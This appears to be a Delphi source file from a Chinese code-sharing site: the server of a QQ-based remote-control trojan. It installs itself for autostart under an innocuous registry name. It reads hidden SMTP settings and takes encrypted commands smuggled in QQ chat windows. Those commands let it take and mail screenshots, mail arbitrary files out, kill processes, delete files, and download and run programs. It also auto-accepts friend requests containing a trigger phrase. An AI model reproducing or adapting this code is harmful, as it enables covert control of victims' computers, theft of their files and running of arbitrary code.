Server.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:9k
- Unit Server;
- Interface
- Uses
- Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
- jpeg, Registry, TLHelp32, URLMon, StdCtrls, ShellApi, ExtCtrls, IdMessage, IdBaseComponent, IdComponent,
- IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdAntiFreezeBase, IdAntiFreeze,
- Classes;
- Type
- TServerForm = Class(TForm)
- Timer1: TTimer;
- QQidsmtp: TIdSMTP;
- MailMessage: TIdMessage;
- IdAntiFreeze: TIdAntiFreeze;
- Procedure Timer1Timer(Sender: TObject);
- Procedure FormCreate(Sender: TObject);
- Procedure FormClose(Sender: TObject; Var Action: TCloseAction);
- private
- Sign: String;
- Function SendMail(Files: String): Boolean; //发信
- Procedure GetCmd(FatherHand: THandle; CMDString: String);
- Procedure ReadInfo; //从尾部读取数据
- Procedure Uninstall; //载卸
- Procedure Install; //安装为自启动
- //procedure SendQQMSG(FatherHand: THandle; QQMSG: string);
- public
- { Public declarations }
- End;
- Var
- ServerForm: TServerForm;
- MailAddr, MailName, MailPass, MailTo: String; //mesage,
- numbers: Integer;
- Implementation
- Uses PUB;
- {$R *.dfm}
- Procedure TServerForm.Install; //安装为自启动
- Var
- Reg: TRegistry;
- Begin
- Reg := TRegistry.Create;
- Try
- Reg.RootKey := HKEY_LOCAL_MACHINE;
- Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);
- Reg.WriteString('system', 'intenat.exe'); //写入数据
- Reg.CloseKey;
- Finally
- Reg.Free;
- End;
- End;
- Procedure TServerForm.Uninstall; //载卸
- Var
- Reg: TRegistry;
- Begin
- Reg := TRegistry.Create;
- Try
- Reg.RootKey := HKEY_LOCAL_MACHINE;
- Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);
- Reg.DeleteValue('system');
- Reg.CloseKey;
- Finally
- Reg.Free;
- End;
- DeleteMe;
- Close;
- End;
- Procedure TServerForm.ReadInfo; //从尾部读取数据
- Var
- Rad: Pchar;
- FileHandle: Integer;
- Tem: String;
- Begin
- Try
- FileHandle := FileOpen(GetSysDir + 'intenat.txt', fmOpenread Or fmsharedenynone);
- GetMem(Rad, 100);
- Try
- FileSeek(FileHandle, -100, 2); //这里是读取自身配置的
- FileRead(FileHandle, Rad^, 100);
- Tem := Uncrypt(Rad);
- Delete(Tem, 1, Pos('>', Tem));
- MailAddr := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
- Delete(Tem, 1, Pos('>', Tem));
- MailName := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
- Delete(Tem, 1, Pos('>', Tem));
- MailPass := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
- Delete(Tem, 1, Pos('>', Tem));
- MailTo := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
- Delete(Tem, 1, Pos('>', Tem));
- Sign := Trim(Copy(Tem, 0, Pos('>', Tem) - 1));
- If Sign = '' Then Sign := 'wsdgs';
- Finally
- FreeMem(Rad);
- FileClose(FileHandle);
- End;
- Except
- End;
- End;
- Function TServerForm.SendMail(Files: String): Boolean; //发信
- Begin
- Result := False;
- With MailMessage Do Begin
- Clear;
- subject := 'QQ远控精灵文件传送';
- Body.Append('wsdgs制作,欢迎访问http://wsdgs.yeah.net');
- From.Address := Trim(MailTo);
- Recipients.EMailAddresses := Trim(MailTo);
- End;
- With QQidsmtp Do Begin
- Host := MailAddr;
- Username := Trim(MailName);
- PassWord := Trim(MailPass);
- End;
- Try
- TIdAttachment.Create(MailMessage.MessageParts, Files);
- QQidsmtp.Connect;
- Except
- Exit;
- End;
- Try
- If (QQidsmtp.AuthSchemesSupported.IndexOf('LOGIN') <> -1) Then Begin
- QQidsmtp.AuthenticationType := Atlogin;
- QQidsmtp.Authenticate;
- End;
- QQidsmtp.Send(MailMessage);
- Finally
- QQidsmtp.Disconnect;
- End;
- End;
- Procedure TServerForm.GetCmd(FatherHand: THandle; CMDString: String);
- Begin
- If CMDString = '' Then Exit;
- Try
- CMDString := Trim(CMDString);
- If CMDString = 'Uninstall' Then Uninstall
- Else If CMDString = 'SUTDOW' Then SutDwn('1')
- Else If CMDString = 'REBOOT' Then SutDwn('2')
- Else If CMDString = 'LOGOFF' Then SutDwn('3')
- Else If CMDString = 'PIC' Then ScreePic
- Else If CMDString = 'MAILPIC' Then Begin
- ScreePic;
- SendMail('C:screen.jpg');
- End
- Else If CMDString = 'EProcess' Then EnumerateProcess
- Else If Pos('KProcess', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 8);
- KillProcess(CMDString)
- End
- Else If Pos('CProcess', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 8);
- CloseOperate(CMDString)
- End
- Else If CMDString = 'MAILProcess' Then Begin
- EnumerateProcess;
- SendMail('C:/result.txt');
- End
- Else If Pos('MAILFILE', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 8);
- SendMail(CMDString)
- End
- Else If Pos('DELETE', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 6);
- FileSetAttr(CMDString, 0);
- DeleteFile(CMDString);
- End
- Else If Pos('DOWNTHEFILE', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 11);
- DownloadFile(CMDString, False)
- End
- Else If Pos('DOWNFILERUN', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 11);
- DownloadFile(CMDString, True)
- End
- Else If Pos('RUNFILE', CMDString) > 0 Then Begin
- Delete(CMDString, 1, 7);
- ShellExecute(Application.Handle, Pchar('open'), Pchar(CMDString), Pchar(''), Nil, SW_NORMAL);
- End
- Except
- End;
- End;
- Procedure TServerForm.Timer1Timer(Sender: TObject);
- Var
- Title: Array[0..255] Of Char;
- CMDText: Pchar;
- Long: Integer;
- ChildHand, QQHand, FatherHand: THandle;
- CMD: String;
- Begin
- Try
- Timer1.Enabled := False;
- FatherHand := GetForegroundWindow;
- Getwindowtext(FatherHand, Title, 255); //获取窗口标题
- //**************如果是聊天窗口************************
- If (Pos('聊天中', Title) > 0) Then Begin
- ChildHand := FindWindowEx(FatherHand, 0, 'RichEdit20A', Nil);
- //==========================两个QQ版本==================================
- If ChildHand = 0 Then Begin
- QQHand := GetDlgItem(FatherHand, 0);
- ChildHand := FindWindowEx(QQHand, 0, 'RichEdit20A', Nil);
- End;
- Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
- GetMem(CMDText, Long);
- SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
- //============================强制到消息模式=============================
- If (Pos(Sign, CMDText) > 0) Then Begin
- QQHand := FindWindowEx(FatherHand, 0, Nil, '消息模式(&T)');
- SendMessage(QQHand, BM_CLICK, 0, 0);
- End;
- End
- //****************************如果是消息模式******************************
- Else If (Pos('查看消息', Title) <> 0) Then Begin
- ChildHand := FindWindowEx(FatherHand, 0, 'richedit', Nil);
- //==========================两个QQ版本====================================
- If ChildHand = 0 Then Begin
- QQHand := GetDlgItem(FatherHand, 0);
- ChildHand := GetWindow(QQHand, GW_CHILD);
- ChildHand := FindWindowEx(QQHand, 0, 'RICHEDIT', Nil);
- End;
- Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
- GetMem(CMDText, Long);
- SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
- End
- //***************************查看手机短讯窗口*****************************
- Else If (Pos('查看手机短讯', Title) <> 0) Then Begin
- ChildHand := GetWindow(FatherHand, GW_CHILD);
- Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
- GetMem(CMDText, Long);
- SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
- End
- Else If (Pos('系统消息', Title) <> 0) Then Begin
- ChildHand := FindWindowEx(FatherHand, 0, 'richedit', Nil);
- Long := SendMessage(ChildHand, WM_GETTEXT, 0, 0) + 1;
- GetMem(CMDText, Long);
- SendMessage(ChildHand, WM_GETTEXT, Long, Integer(CMDText));
- If (Pos('寒风催残漏', CMDText) > 0) Then Begin
- ChildHand := FindWindowEx(FatherHand, 0, Nil, '通过验证');
- If ChildHand = 0 Then ChildHand := FindWindowEx(FatherHand, 0, Nil, '接受请求');
- SendMessage(ChildHand, BM_CLICK, 0, 0);
- End;
- End
- Else Exit; //如果是其他情况退出
- Try
- If Pos(Sign, CMDText) <> 0 Then Begin
- CMD := CMDText;
- Delete(CMD, 1, Pos(Sign, CMD) + Length(Sign) - 1);
- Delete(CMD, Pos(Sign, CMD), Length(CMD));
- CMD := Uncrypt(CMD);
- GetCmd(FatherHand, CMD);
- SendMessage(FatherHand, WM_CLOSE, 0, 0);
- End;
- Finally
- FreeMem(CMDText);
- End;
- Finally
- Timer1.Enabled := True;
- End;
- End;
- Procedure TServerForm.FormCreate(Sender: TObject);
- Begin
- Try
- ReadInfo;
- Install;
- Except
- End;
- End;
- Procedure TServerForm.FormClose(Sender: TObject; Var Action: TCloseAction);
- Begin
- Timer1.Enabled := False;
- QQidsmtp.Disconnect;
- End;
- End.